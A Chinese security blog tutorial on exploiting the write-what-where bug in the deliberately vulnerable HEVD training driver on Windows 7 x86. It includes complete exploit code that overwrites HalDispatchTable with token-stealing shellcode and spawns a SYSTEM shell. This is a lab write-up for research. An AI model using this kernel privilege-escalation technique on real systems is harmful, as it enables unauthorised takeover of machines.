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Windows Kernel Exploitation Notes（二）——HEVD Write-What-Where

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发布时间 : 2021-07-08 10:30:14

 

本文一共2704个字 17张图 预计阅读时间15分钟
2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章是Windows Kernel Exploitation Notes系列文章的第二篇HEVD Write-What-Where
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

环境配置及基础知识见上一篇，本篇及后续篇章不不再赘述。本篇使用环境如下：

  • 物理机OS：Windows 10 20H2 x64
  • 物理机WinDbg：10.0.19041.685
  • 虚拟机OS：Windows 7 SP1 x86(6.1.7601.17514)
  • VMware：VMware Workstation 15 Pro
  • Visual Studio 2019

 

0x01 Root Cause Analyses

触发漏洞源码如下：

NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try
    {
        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));

        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;

        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
        // ProbeForWrite() routine before performing the write operation
        //

        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");

        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    //
    // There is one more hidden vulnerability. Find it out.
    //

    return Status;
}

对比Vulnerable版本与Secure版本可以发现，其在执行*(Where) = *(What)语句之前未通过ProbeForRead/ProbeForWrite函数校验读取及写入地址的合法性。跟进ProbeForRead函数：

首先是校验边界，其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress其值由MiInitializeBootDefaults函数初始化)：

边界未对齐，触发STATUS_DATATYPE_MISALIGNMENT异常：

越界则触发STATUS_ACCESS_VIOLATION异常：

ProbeForWrite函数在边界对齐及地址范围校验方面与ProbeForRead类似，除此之外该函数会校验地址是否可写，可读，可访问：

编写POC如下：

#include <stdio.h>
#include <windows.h>

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n", dev);
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where=(PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x42424242;

    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
    CloseHandle(dev);
    system("pause");
    return 0;
}

触发漏洞：

 

0x02 Exploit

根据上文分析，现已可以实现任意地址写。将nt!HalDispatchTable中函数地址覆盖为Shellcode地址可以实现任意代码执行，具体见下文分析。

nt!HalDispatchTable中HalQuerySystemInformation与HalSetSystemInformation是在内核初始化过程中确定的：

二者分别可以通过NtQueryIntervalProfile与NtSetIntervalProfile函数调用：

下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile函数定义如下：

NTSTATUS 
NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource, 
    ULONG *Interval);

其中KPROFILE_SOURCE是一枚举类型：

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

NtQueryIntervalProfile首先校验_KTHREAD中PreviousMode(Offset 0x13A)字段值(关于_KPCR，_KPRCB，_KTHREAD上一篇有介绍)：

其次判断参数Interval指向地址是否超过MmUserProbeAddress：

最后判断ProfileSource是否为零，非零值则调用KeQueryIntervalProfile：

KeQueryIntervalProfile会判断ProfileSource是否为1，不为1才会继续调用nt!HalDispatchTable+0x4

如此，笔者构造Exploit中对该函数调用如下：

PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
    if (!NtQueryIntervalProfile) {
        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);        //SC——>Shellcode Address

对nt!HalDispatchTable+0x4函数调用不止KeQueryIntervalProfile一处，所以在Shellcode中需要将其替换成原数值，通过其与HalSetSystemInformation函数地址相差0x912来进行恢复：

INT32 KrBase = GetKernelBaseAddress();
    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x14
    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(SC, 0x60);
    __asm {
        pushad;
        mov eax, HalSetSystemInformation_Address;
        mov ebx, HalQuerySystemInformation_Address;
        mov edi, SC;
        mov[edi], 0x60;
        mov dword ptr[edi + 0x1], 0x000000E8;
        mov dword ptr[edi + 0x5], 0x588B5800;
        mov dword ptr[edi + 0x9], 0x4F488B4B;
        mov dword ptr[edi + 0xD], 0xEA81138B;
        mov dword ptr[edi + 0x11], 0x00000912;
        mov dword ptr[edi + 0x15], 0x90901189;
        mov dword ptr[edi + 0x19], 0x8B64C031;
        mov dword ptr[edi + 0x1D], 0x00012480;
        mov dword ptr[edi + 0x21], 0x50408B00;
        mov dword ptr[edi + 0x25], 0x04BAC189;
        mov dword ptr[edi + 0x29], 0x8B000000;
        mov dword ptr[edi + 0x2D], 0x0000B880;
        mov dword ptr[edi + 0x31], 0x00B82D00;
        mov dword ptr[edi + 0x35], 0x90390000;
        mov dword ptr[edi + 0x39], 0x000000B4;
        mov dword ptr[edi + 0x3D], 0x908BED75;
        mov dword ptr[edi + 0x41], 0x000000F8;
        mov dword ptr[edi + 0x45], 0x00F89189;
        mov dword ptr[edi + 0x49], 0x31610000;
        mov dword ptr[edi + 0x4D], 0x0000C3C0;
        mov dword ptr[edi + 0x51], eax;
        mov dword ptr[edi + 0x55], ebx;
        popad;
    }

Shellcode如下：

NtSetIntervalProfile函数定义如下：

NTSTATUS 
NtSetIntervalProfile (
    ULONG Interval, 
    KPROFILE_SOURCE ProfileSource);

其对参数判断位于KeSetIntervalProfile函数内，首先校验nt!PerfGlobalGroupMask+0x4：

其次判断ProfileSource是否为0及是否为1：

上述两种方式思想相同，只是具体实现方式略有不同，两种方式完整Exploit如下：

//HalSetSystemInformation#include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)typedef struct SYSTEM_MODULE {    ULONG                Reserved1;    ULONG                Reserved2;    PVOID                ImageBaseAddress;    ULONG                ImageSize;    ULONG                Flags;    WORD                 Id;    WORD                 Rank;    WORD                 LoadCount;    WORD                 NameOffset;    CHAR                 Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{    ULONG                ModulesCount;    SYSTEM_MODULE        Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{    SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{    PULONG_PTR What;    PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE {    ProfileTime,    ProfileAlignmentFixup,    ProfileTotalIssues,    ProfilePipelineDry,    ProfileLoadInstructions,    ProfilePipelineFrozen,    ProfileBranchInstructions,    ProfileTotalNonissues,    ProfileDcacheMisses,    ProfileIcacheMisses,    ProfileCacheMisses,    ProfileBranchMispredictions,    ProfileStoreInstructions,    ProfileFpInstructions,    ProfileIntegerInstructions,    Profile2Issue,    Profile3Issue,    Profile4Issue,    ProfileSpecialInstructions,    ProfileTotalCycles,    ProfileIcacheIssues,    ProfileDcacheAccesses,    ProfileMemoryBarrierCycles,    ProfileLoadLinkedIssues,    ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,    __inout PVOID SystemInformation,    __in ULONG SystemInformationLength,    __out_opt PULONG ReturnLength    );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(    __in KPROFILE_SOURCE ProfileSource,    __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(    __in ULONG* Interval,    __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){    //Get NtQuerySystemInformation Address    PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");    if (!NtQuerySystemInformation){        cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;        cout << "[!] Last Error:" << GetLastError() << endl;        exit(1);    }    ULONG len = 0;    //Get Buffer Length    NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);    //Allocate Memory    PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);    //Get SYSTEM_MODULE_INFORMATION     NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);    if (Status != (NTSTATUS)0x0){        cout << "[!] NtQuerySystemInformation Failed!" << endl;        exit(1);    }    PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;    cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;    return (INT32)KernelImageBase;}int main() {    HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);    if (hFile == INVALID_HANDLE_VALUE) {        cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;        exit(1);    }    cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;    INT32 KrBase = GetKernelBaseAddress();    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);    ZeroMemory(SC, 0x60);    __asm {        pushad;        mov ebx, HalSetSystemInformation_Address;        mov eax, HalQuerySystemInformation_Address;        mov edi, SC;        mov[edi], 0x60;        mov dword ptr[edi + 0x1], 0x000000E8;        mov dword ptr[edi + 0x5], 0x588B5800;        mov dword ptr[edi + 0x9], 0x4F488B4B;        mov dword ptr[edi + 0xD], 0xC281138B;        mov dword ptr[edi + 0x11], 0x00000912;        mov dword ptr[edi + 0x15], 0x90901189;        mov dword ptr[edi + 0x19], 0x8B64C031;        mov dword ptr[edi + 0x1D], 0x00012480;        mov dword ptr[edi + 0x21], 0x50408B00;        mov dword ptr[edi + 0x25], 0x04BAC189;        mov dword ptr[edi + 0x29], 0x8B000000;        mov dword ptr[edi + 0x2D], 0x0000B880;        mov dword ptr[edi + 0x31], 0x00B82D00;        mov dword ptr[edi + 0x35], 0x90390000;        mov dword ptr[edi + 0x39], 0x000000B4;        mov dword ptr[edi + 0x3D], 0x908BED75;        mov dword ptr[edi + 0x41], 0x000000F8;        mov dword ptr[edi + 0x45], 0x00F89189;        mov dword ptr[edi + 0x49], 0x31610000;        mov dword ptr[edi + 0x4D], 0x0000C3C0;        mov dword ptr[edi + 0x51], eax;        mov dword ptr[edi + 0x55], ebx;        popad;    }    PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;    PWRITE_WHAT_WHERE Buffer;    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));    Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address;    Buffer->What = (PULONG_PTR)PShellcode;    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);    PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile");    if (!NtSetIntervalProfile) {        cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl;        cout << "[!] Last error " << GetLastError() << endl;        exit(1);    }    NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues);    PROCESS_INFORMATION ProcessInformation;    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));    STARTUPINFOA StartupInfo;    ZeroMemory(&StartupInfo, sizeof(StartupInfo));    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);    VirtualFree(SC, 0, MEM_RELEASE);}

//HalQuerySystemInformation#include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)typedef struct SYSTEM_MODULE {    ULONG                Reserved1;    ULONG                Reserved2;    PVOID                ImageBaseAddress;    ULONG                ImageSize;    ULONG                Flags;    WORD                 Id;    WORD                 Rank;    WORD                 LoadCount;    WORD                 NameOffset;    CHAR                 Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{    ULONG                ModulesCount;    SYSTEM_MODULE        Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{    SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{    PULONG_PTR What;    PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE {    ProfileTime,    ProfileAlignmentFixup,    ProfileTotalIssues,    ProfilePipelineDry,    ProfileLoadInstructions,    ProfilePipelineFrozen,    ProfileBranchInstructions,    ProfileTotalNonissues,    ProfileDcacheMisses,    ProfileIcacheMisses,    ProfileCacheMisses,    ProfileBranchMispredictions,    ProfileStoreInstructions,    ProfileFpInstructions,    ProfileIntegerInstructions,    Profile2Issue,    Profile3Issue,    Profile4Issue,    ProfileSpecialInstructions,    ProfileTotalCycles,    ProfileIcacheIssues,    ProfileDcacheAccesses,    ProfileMemoryBarrierCycles,    ProfileLoadLinkedIssues,    ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,    __inout PVOID SystemInformation,    __in ULONG SystemInformationLength,    __out_opt PULONG ReturnLength    );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(    __in KPROFILE_SOURCE ProfileSource,    __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(    __in ULONG* Interval,    __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){    //Get NtQuerySystemInformation Address    PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");    if (!NtQuerySystemInformation){        cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;        cout << "[!] Last Error:" << GetLastError() << endl;        exit(1);    }    ULONG len = 0;    //Get Buffer Length    NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);    //Allocate Memory    PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);    //Get SYSTEM_MODULE_INFORMATION     NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);    if (Status != (NTSTATUS)0x0){        cout << "[!] NtQuerySystemInformation Failed!" << endl;        exit(1);    }    PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;    cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;    return (INT32)KernelImageBase;}int main() {    HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);    if (hFile == INVALID_HANDLE_VALUE) {        cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;        exit(1);    }    cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;    INT32 KrBase = GetKernelBaseAddress();    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);    ZeroMemory(SC, 0x60);    __asm {        pushad;        mov eax, HalSetSystemInformation_Address;        mov ebx, HalQuerySystemInformation_Address;        mov edi, SC;        mov[edi], 0x60;        mov dword ptr[edi + 0x1], 0x000000E8;        mov dword ptr[edi + 0x5], 0x588B5800;        mov dword ptr[edi + 0x9], 0x4F488B4B;        mov dword ptr[edi + 0xD], 0xEA81138B;        mov dword ptr[edi + 0x11], 0x00000912;        mov dword ptr[edi + 0x15], 0x90901189;        mov dword ptr[edi + 0x19], 0x8B64C031;        mov dword ptr[edi + 0x1D], 0x00012480;        mov dword ptr[edi + 0x21], 0x50408B00;        mov dword ptr[edi + 0x25], 0x04BAC189;        mov dword ptr[edi + 0x29], 0x8B000000;        mov dword ptr[edi + 0x2D], 0x0000B880;        mov dword ptr[edi + 0x31], 0x00B82D00;        mov dword ptr[edi + 0x35], 0x90390000;        mov dword ptr[edi + 0x39], 0x000000B4;        mov dword ptr[edi + 0x3D], 0x908BED75;        mov dword ptr[edi + 0x41], 0x000000F8;        mov dword ptr[edi + 0x45], 0x00F89189;        mov dword ptr[edi + 0x49], 0x31610000;        mov dword ptr[edi + 0x4D], 0x0000C3C0;        mov dword ptr[edi + 0x51], eax;        mov dword ptr[edi + 0x55], ebx;        popad;    }    PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;    PWRITE_WHAT_WHERE Buffer;    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));    Buffer->Where = (PULONG_PTR)HalQuerySystemInformation_Address;    Buffer->What = (PULONG_PTR)PShellcode;    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);    PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");    if (!NtQueryIntervalProfile) {        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;        cout << "[!] Last error " << GetLastError() << endl;        exit(1);    }    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);    PROCESS_INFORMATION ProcessInformation;    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));    STARTUPINFOA StartupInfo;    ZeroMemory(&StartupInfo, sizeof(StartupInfo));    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);    VirtualFree(SC, 0, MEM_RELEASE);}

效果如下：

 

0x03 参阅链接

本文由Gcow安全团队原创发布

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